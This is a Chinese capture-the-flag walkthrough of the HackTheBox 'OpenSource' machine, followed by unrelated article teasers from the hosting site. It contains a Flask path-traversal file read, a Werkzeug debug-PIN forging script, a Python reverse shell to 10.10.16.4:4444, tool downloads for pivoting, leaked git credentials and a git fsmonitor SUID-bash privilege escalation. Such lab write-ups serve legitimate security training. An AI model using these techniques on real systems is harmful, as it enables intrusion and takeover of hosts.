【HTB】 OpenSource

OpenSource

靶机地址:https://app.hackthebox.com/machines/471

信息收集

┌──(root㉿kali)-[~/Desktop]
└─# nmap -Pn -sC -sV -p- 10.129.212.208 --min-rate=5000
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-04-08 16:01 CST
Nmap scan report for 10.129.212.208
Host is up (0.16s latency).
Not shown: 65532 closed tcp ports (reset)
PORT     STATE    SERVICE VERSION
22/tcp   open     ssh     OpenSSH 7.6p1 Ubuntu 4ubuntu0.7 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   2048 1e:59:05:7c:a9:58:c9:23:90:0f:75:23:82:3d:05:5f (RSA)
|   256 48:a8:53:e7:e0:08:aa:1d:96:86:52:bb:88:56:a0:b7 (ECDSA)
|_  256 02:1f:97:9e:3c:8e:7a:1c:7c:af:9d:5a:25:4b:b8:c8 (ED25519)
80/tcp   open     http    Werkzeug/2.1.2 Python/3.10.3
|_http-title: upcloud - Upload files for Free!
| fingerprint-strings: 
|   GetRequest: 
|     HTTP/1.1 200 OK
|     Server: Werkzeug/2.1.2 Python/3.10.3
|     Date: Mon, 08 Apr 2024 08:01:15 GMT
|     Content-Type: text/html; charset=utf-8
|     Content-Length: 5316
|     Connection: close
|     <html lang="en">
|     <head>
|     <meta charset="UTF-8">
|     <meta name="viewport" content="width=device-width, initial-scale=1.0">
|     <title>upcloud - Upload files for Free!</title>
|     <script src="/static/vendor/jquery/jquery-3.4.1.min.js"></script>
|     <script src="/static/vendor/popper/popper.min.js"></script>
|     <script src="/static/vendor/bootstrap/js/bootstrap.min.js"></script>
|     <script src="/static/js/ie10-viewport-bug-workaround.js"></script>
|     <link rel="stylesheet" href="/static/vendor/bootstrap/css/bootstrap.css"/>
|     <link rel="stylesheet" href=" /static/vendor/bootstrap/css/bootstrap-grid.css"/>
|     <link rel="stylesheet" href=" /static/vendor/bootstrap/css/bootstrap-reboot.css"/>
|     <link rel=
|   HTTPOptions: 
|     HTTP/1.1 200 OK
|     Server: Werkzeug/2.1.2 Python/3.10.3
|     Date: Mon, 08 Apr 2024 08:01:15 GMT
|     Content-Type: text/html; charset=utf-8
|     Allow: OPTIONS, HEAD, GET
|     Content-Length: 0
|     Connection: close
|   RTSPRequest: 
|     <!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01//EN"
|     "http://www.w3.org/TR/html4/strict.dtd">
|     <html>
|     <head>
|     <meta http-equiv="Content-Type" content="text/html;charset=utf-8">
|     <title>Error response</title>
|     </head>
|     <body>
|     <h1>Error response</h1>
|     <p>Error code: 400</p>
|     <p>Message: Bad request version ('RTSP/1.0').</p>
|     <p>Error code explanation: HTTPStatus.BAD_REQUEST - Bad request syntax or unsupported method.</p>
|     </body>
|_    </html>
|_http-server-header: Werkzeug/2.1.2 Python/3.10.3
3000/tcp filtered ppp
1 service unrecognized despite returning data. If you know the service/version, please submit the following fingerprint at https://nmap.org/cgi-bin/submit.cgi?new-service :
SF-Port80-TCP:V=7.94SVN%I=7%D=4/8%Time=6613A46B%P=x86_64-pc-linux-gnu%r(Ge
SF:tRequest,1573,"HTTP/1\.1\x20200\x20OK\r\nServer:\x20Werkzeug/2\.1\.2\x2
SF:0Python/3\.10\.3\r\nDate:\x20Mon,\x2008\x20Apr\x202024\x2008:01:15\x20G
SF:MT\r\nContent-Type:\x20text/html;\x20charset=utf-8\r\nContent-Length:\x
SF:205316\r\nConnection:\x20close\r\n\r\n<html\x20lang=\"en\">\n<head>\n\x
SF:20\x20\x20\x20<meta\x20charset=\"UTF-8\">\n\x20\x20\x20\x20<meta\x20nam
SF:e=\"viewport\"\x20content=\"width=device-width,\x20initial-scale=1\.0\"
SF:>\n\x20\x20\x20\x20<title>upcloud\x20-\x20Upload\x20files\x20for\x20Fre
SF:e!</title>\n\n\x20\x20\x20\x20<script\x20src=\"/static/vendor/jquery/jq
SF:uery-3\.4\.1\.min\.js\"></script>\n\x20\x20\x20\x20<script\x20src=\"/st
SF:atic/vendor/popper/popper\.min\.js\"></script>\n\n\x20\x20\x20\x20<scri
SF:pt\x20src=\"/static/vendor/bootstrap/js/bootstrap\.min\.js\"></script>\
SF:n\x20\x20\x20\x20<script\x20src=\"/static/js/ie10-viewport-bug-workarou
SF:nd\.js\"></script>\n\n\x20\x20\x20\x20<link\x20rel=\"stylesheet\"\x20hr
SF:ef=\"/static/vendor/bootstrap/css/bootstrap\.css\"/>\n\x20\x20\x20\x20<
SF:link\x20rel=\"stylesheet\"\x20href=\"\x20/static/vendor/bootstrap/css/b
SF:ootstrap-grid\.css\"/>\n\x20\x20\x20\x20<link\x20rel=\"stylesheet\"\x20
SF:href=\"\x20/static/vendor/bootstrap/css/bootstrap-reboot\.css\"/>\n\n\x
SF:20\x20\x20\x20<link\x20rel=")%r(HTTPOptions,C7,"HTTP/1\.1\x20200\x20OK\
SF:r\nServer:\x20Werkzeug/2\.1\.2\x20Python/3\.10\.3\r\nDate:\x20Mon,\x200
SF:8\x20Apr\x202024\x2008:01:15\x20GMT\r\nContent-Type:\x20text/html;\x20c
SF:harset=utf-8\r\nAllow:\x20OPTIONS,\x20HEAD,\x20GET\r\nContent-Length:\x
SF:200\r\nConnection:\x20close\r\n\r\n")%r(RTSPRequest,1F4,"<!DOCTYPE\x20H
SF:TML\x20PUBLIC\x20\"-//W3C//DTD\x20HTML\x204\.01//EN\"\n\x20\x20\x20\x20
SF:\x20\x20\x20\x20\"http://www\.w3\.org/TR/html4/strict\.dtd\">\n<html>\n
SF:\x20\x20\x20\x20<head>\n\x20\x20\x20\x20\x20\x20\x20\x20<meta\x20http-e
SF:quiv=\"Content-Type\"\x20content=\"text/html;charset=utf-8\">\n\x20\x20
SF:\x20\x20\x20\x20\x20\x20<title>Error\x20response</title>\n\x20\x20\x20\
SF:x20</head>\n\x20\x20\x20\x20<body>\n\x20\x20\x20\x20\x20\x20\x20\x20<h1
SF:>Error\x20response</h1>\n\x20\x20\x20\x20\x20\x20\x20\x20<p>Error\x20co
SF:de:\x20400</p>\n\x20\x20\x20\x20\x20\x20\x20\x20<p>Message:\x20Bad\x20r
SF:equest\x20version\x20\('RTSP/1\.0'\)\.</p>\n\x20\x20\x20\x20\x20\x20\x2
SF:0\x20<p>Error\x20code\x20explanation:\x20HTTPStatus\.BAD_REQUEST\x20-\x
SF:20Bad\x20request\x20syntax\x20or\x20unsupported\x20method\.</p>\n\x20\x
SF:20\x20\x20</body>\n</html>\n");
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernelService detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 132.86 seconds

开放22、80、3000端口。
先访问80web端口
在这里插入图片描述
dirsearch扫描着

┌──(root㉿kali)-[~/Desktop]
└─# dirsearch -u http://10.129.212.208                                         
/usr/lib/python3/dist-packages/dirsearch/dirsearch.py:23: DeprecationWarning: pkg_resources is deprecated as an API. See https://setuptools.pypa.io/en/latest/pkg_resources.htmlfrom pkg_resources import DistributionNotFound, VersionConflict_|. _ _  _  _  _ _|_    v0.4.3                                                                                                 (_||| _) (/_(_|| (_| )                                                                                                          Extensions: php, aspx, jsp, html, js | HTTP method: GET | Threads: 25 | Wordlist size: 11460Output File: /root/Desktop/reports/http_10.129.212.208/_24-04-08_16-06-33.txtTarget: http://10.129.212.208/[16:06:33] Starting:                                                                                                             
[16:07:56] 200 -    2KB - /console                                          
[16:08:08] 200 -    2MB - /download                                         
[16:09:36] 500 -   16KB - /uploads/affwp-debug.log                          
[16:09:36] 500 -   15KB - /uploads/dump.sql 

获取shell

访问/console
在这里插入图片描述
有一个PIN锁。
在这里插入图片描述
看样能生成PIN。同时也知道了这是python的flask框架。
https://blog.csdn.net/qq_35782055/article/details/129126825

通过文章得知

通过PIN码可以进入flask的debug模式,从而执行代码,进而getshellpin码生成要六要素
1.username 在可以任意文件读的条件下读 /etc/passwd进行猜测。
2.modname 默认flask.app
3.appname 默认Flask
4.moddir flask库下app.py的绝对路径,可以通过报错拿到,如传参的时候给个不存在的变量
5.uuidnode mac地址的十进制,任意文件读 /sys/class/net/eth0/address
6.machine_id 机器码 这个待会细说,一般就生成pin码不对就是这错了

看样子要找到任意文件读取的漏洞。那么在哪呢?继续收集信息。

在web页面中点击download能下载源码。解压看看
在这里插入图片描述
先脱下来,一会再说。点击Take me there!,会跳转到一个上传功能页面。
在这里插入图片描述
经测试,这个是可以上传东西并下载的。
在这里插入图片描述
继续查看源码
在这里插入图片描述
在这里插入图片描述
@app.route('/', methods=['GET', 'POST']) 定义路由,使用GET和POST方法访问网站根目录会执行下方的upload_file()函数。
@app.route('/uploads/<path:path>')一样,访问网站uploads目录下的文件,会执行send_report(path)函数。但这有个小细节。也就是传入get_file_name(path)函数的只包括uploads后的那一部分。比如访问/uploads/..//../../../etc/passwdget_file_name(path)函数只会处理..//../../../etc/passwd
原理可以搜索flask的自定义路由转换器,我是看的这个视频https://www.bilibili.com/video/BV1pa4y117iE/?p=7
跟踪get_file_name(path)函数函数,发现他只是将../替换为空
在这里插入图片描述
那么,如果传入uploads/..//etc/passwd,那么send_files()函数处理的便是etc/passwd。(这是flask框架自带的函数,用于发送文件的)
也就是说,这里存在任意文件读取。抓包试试。
在这里插入图片描述
读取成功。
回到PIN锁需要的信息,已经知道

pin码生成要六要素
1.username root #在source\config\supervisord.conf中找到
2.modname 默认flask.app 
3.appname 默认Flask
4.moddir /usr/local/lib/python3.10/site-packages/flask/app.py #flask库下app.py的绝对路径,可以通过报错拿到。
5.uuidnode mac地址的十进制,任意文件读 /sys/class/net/eth0/address
6.machine_id /proc/sys/kernel/random/boot_id和/proc/self/cgroup拼接

在这里插入图片描述
/sys/class/net/eth0/address
在这里插入图片描述
再将其转为十进制,为2485377892358
https://www.vultr.com/zh/resources/mac-converter/
在这里插入图片描述
/proc/sys/kernel/random/boot_id,b01e2717-bfd4-4595-a6fe-c94cdcde88d5
在这里插入图片描述
/proc/self/cgroup,7c4ad9fe23a4742c8f510fbdbf77e5e5118469c3ac89280b62c797de1422d198
在这里插入图片描述
那么拼接到脚本中

import hashlib
from itertools import chain
probably_public_bits = ['root',# username'flask.app',# modname'Flask',# getattr(app, '__name__', getattr(app.__class__, '__name__'))'/usr/local/lib/python3.10/site-packages/flask/app.py' # getattr(mod, '__file__', None),
]private_bits = ['2485377892358',  # 访问 /sys/class/net/eth0/address'b01e2717-bfd4-4595-a6fe-c94cdcde88d57c4ad9fe23a4742c8f510fbdbf77e5e5118469c3ac89280b62c797de1422d198'  # /proc/sys/kernel/random/boot_id
]h = hashlib.sha1()
for bit in chain(probably_public_bits, private_bits):if not bit:continueif isinstance(bit, str):bit = bit.encode("utf-8")h.update(bit)
h.update(b"cookiesalt")cookie_name = f"__wzd{h.hexdigest()[:20]}"# If we need to generate a pin we salt it a bit more so that we don't
# end up with the same value and generate out 9 digits
num = None
if num is None:h.update(b"pinsalt")num = f"{int(h.hexdigest(), 16):09d}"[:9]# Format the pincode in groups of digits for easier remembering if
# we don't have a result yet.
rv = None
if rv is None:for group_size in 5, 4, 3:if len(num) % group_size == 0:rv = "-".join(num[x : x + group_size].rjust(group_size, "0")for x in range(0, len(num), group_size))breakelse:rv = numprint(rv)

在这里插入图片描述
进入控制台。
在这里插入图片描述
网上搜索python的反弹shell

import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.10.16.4",4444));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/bash","-i"]);

同时本地开启监听。
在这里插入图片描述
其实上文的/proc/self/cgroup·也提示了这是docker环境

重新反弹shell,同时也重新监听。

import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.10.16.4",4444));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);

在这里插入图片描述

逃逸docker

在docker环境中自然是找不到flag的,但是发现有个主机一直在访问此docker环境。使用chisel挂上代理扫一扫。
在这里插入图片描述
本地开启http服务。

python3 -m http.server 8888

反弹shell中下载

wget http://10.10.16.4:8888/chisel

在这里插入图片描述
本地

./chisel server --reverse --port 1234

在这里插入图片描述
靶机上

./chisel client 10.10.16.4:1234 R:socks

在这里插入图片描述
本地添加上代理

vim /etc/proxychains4.conf

在这里插入图片描述
挂上proxychains开始扫描。直接使用-p-参数扫描会很慢。所以最好是指定端口。

proxychains nmap -sT -Pn -p- 172.17.0.1 --min-rate=5000

在这里插入图片描述

proxychains nmap -sT -Pn -p22,80,443,3000 172.17.0.1

172.17.0.1开放了3000端口。
在这里插入图片描述

在浏览器配置上代理访问下3000端口试试
在这里插入图片描述
找到一个gitea仓库。
在这里插入图片描述
在 Explore 发现一个 dev01 用户
在这里插入图片描述
在下载的源码中使用git命令

┌──(root㉿kali)-[~/Downloads/source]
└─# git branch dev
* public┌──(root㉿kali)-[~/Downloads/source]
└─# git checkout dev
切换到分支 'dev'┌──(root㉿kali)-[~/Downloads/source]
└─# git log         
commit c41fedef2ec6df98735c11b2faf1e79ef492a0f3 (HEAD -> dev)
Author: gituser <gituser@local>
Date:   Thu Apr 28 13:47:24 2022 +0200ease testingcommit be4da71987bbbc8fae7c961fb2de01ebd0be1997
Author: gituser <gituser@local>
Date:   Thu Apr 28 13:46:54 2022 +0200added gitignorecommit a76f8f75f7a4a12b706b0cf9c983796fa1985820
Author: gituser <gituser@local>
Date:   Thu Apr 28 13:46:16 2022 +0200updatedcommit ee9d9f1ef9156c787d53074493e39ae364cd1e05
Author: gituser <gituser@local>
Date:   Thu Apr 28 13:45:17 2022 +0200initial┌──(root㉿kali)-[~/Downloads/source]
└─# git diff a76f8f75f7a4a12b706b0cf9c983796fa1985820 ee9d9f1ef9156c787d53074493e39ae364cd1e05
diff --git a/app/.vscode/settings.json b/app/.vscode/settings.json
deleted file mode 100644
index 5975e3f..0000000
--- a/app/.vscode/settings.json
+++ /dev/null
@@ -1,5 +0,0 @@
-{
-  "python.pythonPath": "/home/dev01/.virtualenvs/flask-app-b5GscEs_/bin/python",
-  "http.proxy": "http://dev01:Soulless_Developer#2022@10.10.10.128:5187/",
-  "http.proxyStrictSSL": false
-}
diff --git a/app/app/views.py b/app/app/views.py
index 0f3cc37..f2744c6 100644
--- a/app/app/views.py
+++ b/app/app/views.py
@@ -6,17 +6,7 @@ from flask import render_template, request, send_filefrom app import app-@app.route('/')
-def index():
-    return render_template('index.html')
-
-
-@app.route('/download')
-def download():
-    return send_file(os.path.join(os.getcwd(), "app", "static", "source.zip"))
-
-
-@app.route('/upcloud', methods=['GET', 'POST'])
+@app.route('/', methods=['GET', 'POST'])def upload_file():
:

找到了账号密码dev01:Soulless_Developer#2022

使用此账户密码登录gitea系统
在这里插入图片描述
在仓库中找到了ssh私钥。
在这里插入图片描述

于是乎可以下载下来连接主机了。

chmod 600 id_rsa	#ssh私钥文件权限只能是600,权限不对会连接不上
ssh -i id_rsa dev01@10.129.212.157

在这里插入图片描述

提权

htb的靶场似乎不能用linux内核漏洞提权。老老实实跟着wp走吧。
没有密码,执行sudo -l不成功,用刚刚找到的密码也不对。
上pspy监听进程吧。

wget htpp://10.10.16.4:8888/pspy64
chmod +x pspy64 
./pspy64

在这里插入图片描述
执行的命令是 /usr/lib/git-core/git-remote-http,这是一个Git命令行工具,用于管理Git远程仓库的HTTP访问。在这个例子中,它被用来设置或查询名为 origin 的远程仓库的URL。UID=0,为root权限。

修改git的配置文件,让其以root权限执行命令。
在这里插入图片描述
./git/config文件中添加fsmonitor = "chmod 4755 /bin/bash"

这个命令的作用是给予/bin/bash SUID(Set User ID upon execution)权限。
SUID权限允许任何用户以文件所有者(在这个例子中是root)的身份执行文件。因此,当chmod 4755 /bin/bash命令执行后,任何用户都可以运行bash -p来启动一个具有root权限的shell。

在这里插入图片描述

写在最后

本人有点菜,这个靶场用时有点久。写wp时重启了下环境,所以目的IP变了。
有些地方还没解释清楚。会回来重新补充的。

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/news/802525.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

GPIO口工作原理的超详细解释

一、GPIO基本结构 每个GPIO内部都有这样的一个电路结构&#xff0c;这个结构在本文下面会具体介绍。 这边的电路图稍微提一下&#xff1a; 保护二极管&#xff1a; IO引脚上下两边两个二极管用于防止引脚外部过高、过低的电压输入。当引脚电压高于VDD时&#xff0c;上方的二…

Altair® (澳汰尔)Inspire™ Print3D 打造高效的增材制造设计

Altair &#xff08;澳汰尔&#xff09;Inspire™ Print3D 打造高效的增材制造设计 借助 Inspire Print3D&#xff0c;可加速创新、结构高效的 3D 打印部件的创建、优化和研究&#xff0c;提供快速准确的工具集&#xff0c;可用于实现选择性激光熔融 (SLM) 部件的设计和过程仿…

Bilstm双向长短期神经网络多输入单输出回归分析

目录 背影 摘要 LSTM的基本定义 LSTM实现的步骤 BILSTM神经网络 基于双向长短期神经网络的多输入单输出回归分析,基于bilstm的多输入单输出回归分析 完整代码:Bilstm双向长短期神经网络多输入单输出回归分析.zip资源-CSDN文库 https://download.csdn.net/download/abc9918351…

基于SSM+Jsp+Mysql的快递管理系统

开发语言&#xff1a;Java框架&#xff1a;ssm技术&#xff1a;JSPJDK版本&#xff1a;JDK1.8服务器&#xff1a;tomcat7数据库&#xff1a;mysql 5.7&#xff08;一定要5.7版本&#xff09;数据库工具&#xff1a;Navicat11开发软件&#xff1a;eclipse/myeclipse/ideaMaven包…

背包问题四种类型

提示&#xff1a;文章写完后&#xff0c;目录可以自动生成&#xff0c;如何生成可参考右边的帮助文档 文章目录 前言一、01背包二、完全背包1.引入库 三.多重背包优化&#xff1a; 四.分组背包总结 前言 提示&#xff1a;这里可以添加本文要记录的大概内容&#xff1a; 例如&…

第十三章 OpenGL ES-RGB、HSV、HSL模型介绍

第十三章 OpenGL ES-RGB、HSV、HSL模型详细介绍 第一章 OpenGL ES 基础-屏幕、纹理、顶点坐标 第二章 OpenGL ES 基础-GLSL语法简单总结 第三章 OpenGL ES 基础-GLSL渲染纹理 第四章 OpenGL ES 基础-位移、缩放、旋转原理 第五章 OpenGL ES 基础-透视投影矩阵与正交投影矩阵…

ubuntu23 安装nodejs

在 Ubuntu 23 上安装 Node.js&#xff0c;您可以遵循以下步骤&#xff1a; 步骤 1: 更新系统软件包 首先&#xff0c;确保您的 Ubuntu 系统软件包列表是最新的。打开终端&#xff08;Terminal&#xff09;并运行&#xff1a; sudo apt update输入您的用户密码&#xff08;输…

模拟memcpy和memmove

memcpy是内存复制函数&#xff0c;原型如下 void *memmove(void *dest, const void *src, size_t count) 从src地址复制count个字节到dest 模拟实现 void *memcpy(void *dest, const void *src, size_t count) {if (dest NULL || src NULL)return NULL;void *ans dest;f…

HackTheBox-Machines--CozyHosting

文章目录 1 端口扫描2 测试思路3 访问web站点4 横向移动5 权限提升 CozyHosting 测试过程 1 端口扫描 nmap -sC -sV 10.129.229.882 测试思路 目标开启了80和22端口&#xff0c;所以出发点从80端口开始。 1.通过在web网站寻找漏洞&#xff0c;获取到用户名和密码&#xff0c;远…

用GCC把C语言文件编译成Intel语法的汇编代码

2024年4月9日&#xff0c;周二下午 GCC默认把C语言文件编译成AT&T语法的汇编代码&#xff0c; GCC 提供了 -masmintel 选项来生成 Intel 风格的汇编代码&#xff0c; 通过如下命令可以编译成Intel语法&#xff1a; gcc -S -masmintel -o output.s input.c在这个命令中&a…

CSS层叠样式表学习(基础选择器)

&#xff08;大家好&#xff0c;今天我们将继续来学习CSS&#xff08;2&#xff09;的相关知识&#xff0c;大家可以在评论区进行互动答疑哦~加油&#xff01;&#x1f495;&#xff09; 目录 二、CSS基础选择器 2.1 CSS选择器的作用 2.2 选择器分类 2.3 标签选择器 2.…

Swift 异步序列 AsyncStream 新“玩法”以及内存泄漏、死循环那些事儿(上)

概览 异步序列&#xff08;Async Sequence&#xff09;是 Swift 5.5 新并发模型中的一员“悍将”&#xff0c;系统标准库中很多类都做了重构以支持异步序列。我们还可以用 AsyncStream 辅助结构非常方便的创建自己的异步序列。 这里我们就来一起聊聊 AsyncStream 结构&#xf…

写两个函数,分别求两个整数的最大公约数和最小公倍数,用主函数调用这两个函数,并输出结果.(两个整数由键盘输入)

#include <stdio.h> /* * 主函数&#xff1a;计算并打印两个数的最大公约数和最小公倍数 */ int main(){ // 定义计算最大公约数和最小公倍数的函数 int hcf(int,int); int lcd(int,int,int); int u,v,h,l; // u,v为输入的两个数&#xff0c;h为最大公…

基于OTA技术的工作总结

一、引言 随着互联网的飞速发展和智能化设备的普及&#xff0c;OTA&#xff08;Over-the-Air&#xff09;技术逐渐成为了软件更新、远程配置及故障诊断的核心手段。在过去的一段时间里&#xff0c;我负责了基于OTA技术的相关工作&#xff0c;现将这段时间的工作进行总结&#…

win10下使用qemu安装aarch64架构的iso镜像虚拟机

1、win下安装qemu 最新版 可在如下链接进行下载安装 QEMU for Windows – Installers (64 bit) 2、准备aarch64的iso镜像 我这里使用的是 Kylin-Server-10-SP2-aarch64-Release-Build09-20210524.iso 3、使用如下命令启动虚拟机安装 打开powershell cd C:\Program Files\…

B02、关于垃圾回收器-6.2

1、关于 GC 的分类 1.1、串行 VS 并行 按线程数分&#xff0c;可以分为串行垃圾回收器和并行垃圾回收器。 串行回收指的是在同一时间段内只允许有一个CPU用于执行垃圾回收操作&#xff0c;此时工作线程被暂停&#xff0c;直至垃圾收集工作结束。 在诸如单CPU处理器或者较小的应…

【Leetcode】2009. 使数组连续的最少操作数

文章目录 题目思路代码复杂度分析时间复杂度空间复杂度 结果总结 题目 题目链接&#x1f517; 给你一个整数数组 n u m s nums nums 。每一次操作中&#xff0c;你可以将 n u m s nums nums 中 任意 一个元素替换成 任意 整数。 如果 n u m s nums nums 满足以下条件&…

记一次项目上某系统web渗透测试

第一个信息泄露漏洞 首先在登录页忘记密码处点击查询获取用户进行抓包可以获得用户的token固定id值 第二个用户名枚举漏洞 接下来就是批量遍历出存在数据库用户id值以及用户名&#xff0c;方便后面其他测试使用。 第三弱口令漏洞 这里对于爆破没有限制&#xff0c;因此根据获…

从零开始,教你如何用Java生成微信小程序二维码

Hello大家好我是咕噜铁蛋&#xff01;你是否曾为生成二维码而烦恼过&#xff1f;别担心&#xff0c;今天我就来给你支招&#xff01;&#xff0c;我将分享如何使用Java生成微信小程序二维码的方法&#xff0c;让你轻松应对二维码生成的需求。微信小程序是一种轻量级的应用程序&…

Splunk Attack Range:一款针对Splunk安全的模拟测试环境创建工具

关于Splunk Attack Range Splunk Attack Range是一款针对Splunk安全的模拟测试环境创建工具&#xff0c;该工具完全开源&#xff0c;目前由Splunk威胁研究团队负责维护。 该工具能够帮助广大研究人员构建模拟攻击测试所用的本地或云端环境&#xff0c;并将数据转发至Splunk实例…